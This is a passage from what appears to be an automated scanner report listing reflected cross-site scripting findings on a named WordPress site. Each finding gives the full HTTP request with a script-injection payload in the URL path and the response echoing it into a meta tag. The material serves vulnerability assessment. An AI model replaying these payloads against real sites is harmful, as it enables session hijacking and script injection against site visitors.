<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/sociable/sociable.cssb943a\"><script>alert(1)</script>8f26ed15308?ver=3.0.5"/>
...[SNIP]...

1.282. http://www.vogel-nest.de/wp-content/plugins/wp-highlightjs/highlight.pack.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wp-highlightjs/highlight.pack.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e0a3"><script>alert(1)</script>6931c2f9ff9 was submitted in the REST URL parameter 1. This input was echoed as 2e0a3\"><script>alert(1)</script>6931c2f9ff9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content2e0a3"><script>alert(1)</script>6931c2f9ff9/plugins/wp-highlightjs/highlight.pack.js HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:21:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:21:58 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content2e0a3\"><script>alert(1)</script>6931c2f9ff9/plugins/wp-highlightjs/highlight.pack.js"/>
...[SNIP]...

1.283. http://www.vogel-nest.de/wp-content/plugins/wp-highlightjs/highlight.pack.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wp-highlightjs/highlight.pack.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91ac7"><script>alert(1)</script>576fd9b1a50 was submitted in the REST URL parameter 2. This input was echoed as 91ac7\"><script>alert(1)</script>576fd9b1a50 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins91ac7"><script>alert(1)</script>576fd9b1a50/wp-highlightjs/highlight.pack.js HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:27 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:29 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins91ac7\"><script>alert(1)</script>576fd9b1a50/wp-highlightjs/highlight.pack.js"/>
...[SNIP]...

1.284. http://www.vogel-nest.de/wp-content/plugins/wp-highlightjs/highlight.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wp-highlightjs/highlight.pack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 307e3"><script>alert(1)</script>cdeeff6c558 was submitted in the REST URL parameter 3. This input was echoed as 307e3\"><script>alert(1)</script>cdeeff6c558 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/wp-highlightjs307e3"><script>alert(1)</script>cdeeff6c558/highlight.pack.js HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/wp-highlightjs307e3\"><script>alert(1)</script>cdeeff6c558/highlight.pack.js"/>
...[SNIP]...

1.285. http://www.vogel-nest.de/wp-content/plugins/wp-highlightjs/highlight.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wp-highlightjs/highlight.pack.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c888d"><script>alert(1)</script>3c91f0bd90b was submitted in the REST URL parameter 4. This input was echoed as c888d\"><script>alert(1)</script>3c91f0bd90b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/wp-highlightjs/highlight.pack.jsc888d"><script>alert(1)</script>3c91f0bd90b HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:14 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/wp-highlightjs/highlight.pack.jsc888d\"><script>alert(1)</script>3c91f0bd90b"/>
...[SNIP]...

1.286. http://www.vogel-nest.de/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 670ba"><script>alert(1)</script>cc1957b54a8 was submitted in the REST URL parameter 1. This input was echoed as 670ba\"><script>alert(1)</script>cc1957b54a8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content670ba"><script>alert(1)</script>cc1957b54a8/plugins/wpaudio-mp3-player/wpaudio.min.js?ver=3.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:02 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:03 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18934

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content670ba\"><script>alert(1)</script>cc1957b54a8/plugins/wpaudio-mp3-player/wpaudio.min.js?ver=3.1"/>
...[SNIP]...

1.287. http://www.vogel-nest.de/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14060"><script>alert(1)</script>cea5db1e27a was submitted in the REST URL parameter 2. This input was echoed as 14060\"><script>alert(1)</script>cea5db1e27a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins14060"><script>alert(1)</script>cea5db1e27a/wpaudio-mp3-player/wpaudio.min.js?ver=3.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:25 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:27 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18934

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins14060\"><script>alert(1)</script>cea5db1e27a/wpaudio-mp3-player/wpaudio.min.js?ver=3.1"/>
...[SNIP]...

1.288. http://www.vogel-nest.de/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d33c"><script>alert(1)</script>d392e819a7c was submitted in the REST URL parameter 3. This input was echoed as 4d33c\"><script>alert(1)</script>d392e819a7c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/wpaudio-mp3-player4d33c"><script>alert(1)</script>d392e819a7c/wpaudio.min.js?ver=3.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:55 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18934

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/wpaudio-mp3-player4d33c\"><script>alert(1)</script>d392e819a7c/wpaudio.min.js?ver=3.1"/>
...[SNIP]...

1.289. http://www.vogel-nest.de/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a4dc"><script>alert(1)</script>923c4ba73b8 was submitted in the REST URL parameter 4. This input was echoed as 9a4dc\"><script>alert(1)</script>923c4ba73b8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js9a4dc"><script>alert(1)</script>923c4ba73b8?ver=3.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:18 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:18 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18934

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js9a4dc\"><script>alert(1)</script>923c4ba73b8?ver=3.1"/>
...[SNIP]...

1.290. http://www.vogel-nest.de/wp-includes/js/jquery/jquery.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44e80"><script>alert(1)</script>bd855664e4a was submitted in the REST URL parameter 1. This input was echoed as 44e80\"><script>alert(1)</script>bd855664e4a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes44e80"><script>alert(1)</script>bd855664e4a/js/jquery/jquery.js?ver=1.4.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:16 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:18 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18896

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes44e80\"><script>alert(1)</script>bd855664e4a/js/jquery/jquery.js?ver=1.4.2"/>
...[SNIP]...

1.291. http://www.vogel-nest.de/wp-includes/js/jquery/jquery.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92c24"><script>alert(1)</script>4fcd5852e5c was submitted in the REST URL parameter 2. This input was echoed as 92c24\"><script>alert(1)</script>4fcd5852e5c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js92c24"><script>alert(1)</script>4fcd5852e5c/jquery/jquery.js?ver=1.4.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:37 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18896

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js92c24\"><script>alert(1)</script>4fcd5852e5c/jquery/jquery.js?ver=1.4.2"/>
...[SNIP]...

1.292. http://www.vogel-nest.de/wp-includes/js/jquery/jquery.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c3f6"><script>alert(1)</script>c1b467c5fb4 was submitted in the REST URL parameter 3. This input was echoed as 1c3f6\"><script>alert(1)</script>c1b467c5fb4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/jquery1c3f6"><script>alert(1)</script>c1b467c5fb4/jquery.js?ver=1.4.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18896

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/jquery1c3f6\"><script>alert(1)</script>c1b467c5fb4/jquery.js?ver=1.4.2"/>
...[SNIP]...

1.293. http://www.vogel-nest.de/wp-includes/js/jquery/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3c4b"><script>alert(1)</script>328a9160d70 was submitted in the REST URL parameter 4. This input was echoed as b3c4b\"><script>alert(1)</script>328a9160d70 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/jquery/jquery.jsb3c4b"><script>alert(1)</script>328a9160d70?ver=1.4.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:11 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18896

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/jquery/jquery.jsb3c4b\"><script>alert(1)</script>328a9160d70?ver=1.4.2"/>
...[SNIP]...

1.294. http://www.vogel-nest.de/wp-includes/js/prototype.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/prototype.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92958"><script>alert(1)</script>6a989f1a3be was submitted in the REST URL parameter 1. This input was echoed as 92958\"><script>alert(1)</script>6a989f1a3be in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes92958"><script>alert(1)</script>6a989f1a3be/js/prototype.js?ver=1.6.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:11 GMT
Server: Apache/2.2.3 (CentOS)
